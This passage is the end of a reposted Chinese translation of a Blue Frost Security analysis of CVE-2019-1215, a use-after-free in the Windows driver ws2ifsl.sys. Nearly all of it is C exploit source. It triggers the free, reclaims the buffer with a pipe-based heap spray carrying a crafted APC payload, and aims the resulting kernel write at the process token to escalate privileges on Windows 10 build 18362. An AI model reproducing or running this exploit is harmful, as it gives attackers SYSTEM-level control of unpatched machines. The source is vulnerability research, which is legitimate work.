  NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &object, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(PROC_DATA));
  if (status != STATUS_SUCCESS)
  {
   printf("[-] NtCreateFile error: %x \n", status);
   free(eaBuffer);
   return fileHandle;
  }
 
  free(eaBuffer);
  return fileHandle;
 }
 
 int DoHeapSpray(DWORD64 writeAddress, DWORD64 kthreadAddress)
 { 
  DWORD64 nopPointer = GetGadgetAddr("xHalTimerWatchdogStop");
  if (!nopPointer)
  {
   printf("[-] SeSetAccessStateGenericMapping not found\n");
   return 0;
  }
 
  DWORD64 funPointer = GetGadgetAddr("SeSetAccessStateGenericMapping");
  if (!funPointer)
  {
   printf("[-] SeSetAccessStateGenericMapping not found\n");
   return 0;
  } 
 
  UCHAR payload[0x120 - 0x48];
  memset(payload, 0x0, sizeof(payload));    
   
  DWORD64 x = 0x41414141414141;    
  memcpy(payload, &x, 8);
  
  x = 0x12121212;        
  memcpy(payload + 8, &x, 8);
  
  x = kthreadAddress + OFFSET_LINKEDLIST;  // apc linked list 
  memcpy(payload + 0x10, &x, 8);
  
  x = kthreadAddress + OFFSET_LINKEDLIST;
  memcpy(payload + 0x18, &x, 8);
  
  x = funPointer;
  memcpy(payload + 0x20, &x, 8);    // this is the RIP we want to execute, in case of NtTestAlert
 
  x = nopPointer;
  memcpy(payload + 0x28, &x, 8);    // this is the RIP we want to execute, in case of rundown routine 
  
  x = 0xffffffffffffffff;      // this is to be written
  memcpy(payload + 0x30, &x, 8);
  
  x = 0xffffffffffffffff;      // this is to be written, but it gets changed..
  memcpy(payload + 0x38, &x, 8);
  
  x = 0x2424242424242424;
  memcpy(payload + 0x40, &x, 8);
  
  x = writeAddress;       // this is where to write 
  memcpy(payload + 0x48, &x, 8);
  
  for (size_t i = 0; i < 0x70; i++)
  {
   HANDLE readPipe;
   HANDLE writePipe;
   DWORD resultLength = 0;
  
   BOOL res = CreatePipe(&readPipe, &writePipe, NULL, sizeof(payload));
   if (!res)
   {
    printf("[-] error creating pipe\n");
    return 0;
   }
   res = WriteFile(writePipe, payload, sizeof(payload), &resultLength, NULL);
  }
 
  return 1;
 }
 
 /*
  This function will trigger the use after free in ws2ifsl.sys and
  will try to reallocate the buffer with controlled content.
 */
 void TriggerBug(HANDLE threadHandle, DWORD64 writeAddress, DWORD64 kthreadAddress, int id)
 {
  HANDLE procHandle = CreateProcessHandle(threadHandle);
  printf("[!] procHandle %x\n", (DWORD)procHandle);
 
  HANDLE sockHandle = CreateSocketHandle(procHandle);
  printf("[!] sockHandle %x\n", (DWORD)sockHandle);
 
  char* readBuffer = (char*)malloc(0x100);
  DWORD bytesRead = 0;
 
  IO_STATUS_BLOCK io;
  LARGE_INTEGER byteOffset;
  byteOffset.HighPart = 0;
  byteOffset.LowPart = 0;
  byteOffset.QuadPart = 0;
  byteOffset.u.LowPart = 0;
  byteOffset.u.HighPart = 0;
  ULONG key = 0;
 
  CloseHandle(procHandle);
 
  NTSTATUS ret = g_NtWriteFile(sockHandle, 0, 0, 0, &io, readBuffer, 0x100, &byteOffset, &key);
 
  // this close the objecte and we trigger the use after free
  CloseHandle(sockHandle);
 
  // this spray will reclaim the buffer
  if (!DoHeapSpray(writeAddress, kthreadAddress))
  {
   printf("[-] error doHeapSpray\n");
   return;
  }
 
  if (id == 1)
  {
   g_done1 = 1;
  }
 
  if (id == 2)
  {
   g_done2 = 1;
  }
 
  printf("[+] done\n");
  Sleep(0x20);
  free(readBuffer);
 
  return;
 }
 
 /*
  This function resolves all function pointer for native api calls.
 */
 bool InitFunctionPointers()
 {
  HMODULE hNtDll = NULL;
  hNtDll = LoadLibrary("ntdll.dll");
  if (!hNtDll)
  {
   printf("error\n");
   return false;
  }
 
  g_NtTestAlert = (NtTestAlert_t)GetProcAddress(hNtDll, "NtTestAlert");
  if (!g_NtTestAlert)
  {
   printf("error\n");
   return false;
  }
 
  g_NtWriteFile = (NtWriteFile_t)GetProcAddress(hNtDll, "NtWriteFile");
  if (!g_NtWriteFile)
  {
   printf("[-] GetProcAddress() NtWriteFile failed.\n");
   return false;
  }
 
  g_RtlGetVersion = (RtlGetVersion_t)GetProcAddress(hNtDll, "RtlGetVersion");
  if (!g_NtWriteFile)
  {
   printf("[-] GetProcAddress() RtlGetVersion failed.\n");
   return false;
  }
 
  return true;
 }
 
 int main()
 {
  // intialize event for thread synchronization
  g_Event1 = CreateEvent(0, 0, 0, 0);
  g_Event2 = CreateEvent(0, 0, 0, 0);
  g_Event3 = CreateEvent(0, 0, 0, 0);
 
  if (g_Event1 == INVALID_HANDLE_VALUE || !g_Event1)
  {
   printf("[-] CreateEvent failed\n");
   return 0;
  }
  if (g_Event2 == INVALID_HANDLE_VALUE || !g_Event2)
  {
   printf("[-] CreateEvent failed\n");
   return 0;
  }
  if (g_Event3 == INVALID_HANDLE_VALUE || !g_Event2)
  {
   printf("[-] CreateEvent failed\n");
   return 0;
  }
 
  if (!InitFunctionPointers())
  {
   printf("[-] InitFunctionPointers failed\n");
   return 0;
  }
 
  HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());
  if (!proc)
  {
   printf("[-] OpenProcess failed\n");
   return 0;
  }
  HANDLE token = 0;
  if (!OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token))
  {
   printf("[-] OpenProcessToken failed\n");
   return 0;
  } 
 
  DWORD64 ktoken = GetKernelPointer(token, 0x5);
  DWORD64 where = ktoken + TOKEN_OFFSET;
 
  printf("[+] found token at: %p\n", (DWORD64) ktoken);
 
 
  // check the supported version of this exploit, otherwise we would crash
  RTL_OSVERSIONINFOW osversion;
  g_RtlGetVersion(&osversion);
  
  if (osversion.dwMajorVersion == 10 && osversion.dwBuildNumber == 18362)
  {
   printf("[+] version supported\n");
  }
  else
  {
   printf("[-] sorry version not supported\n");
   return 0;
  }
 
  HANDLE hAPCThread1 = CreateThread(0, 0, APCThread1, 0, 0, 0);
  if (hAPCThread1 == INVALID_HANDLE_VALUE || !hAPCThread1)
  {
   printf("[-] error CreateThread\n");
   return 0;
  }
 
  HANDLE hAPCThread2 = CreateThread(0, 0, APCThread2, 0, 0, 0);
  if (hAPCThread2 == INVALID_HANDLE_VALUE || !hAPCThread2)
  {
   printf("[-] error CreateThread\n");
   return 0;
  }
   
  DWORD64 threadAddrAPC1 = GetKernelPointer(hAPCThread1, 0x8);
  if (!threadAddrAPC1)
  {
   printf("[-] GetKernelPointer error \n");
   return 0;
  }
  DWORD64 threadAddrAPC2 = GetKernelPointer(hAPCThread2, 0x8);
  if (!threadAddrAPC2)
  {
   printf("[-] GetKernelPointer error \n");
   return 0;
  }
 
  // wait for threads to be initialized
  WaitForSingleObject(g_Event1, -1);
  WaitForSingleObject(g_Event2, -1);
 
  TriggerBug(hAPCThread1, where-8, threadAddrAPC1, 1);
  TriggerBug(hAPCThread2, where, threadAddrAPC2, 2);
 
  WaitForSingleObject(g_Event3, -1);
  
  ExitProcess(0);
  
  return 0;
 }

本文翻译自:https://labs.bluefrostsecurity.de/blog/2020/01/07/cve-2019-1215-analysis-of-a-use-after-free-in-ws2ifsl/如若转载,请注明原文地址:


文章来源: https://www.4hou.com/posts/M5LO
如有侵权请联系:admin#unsafe.sh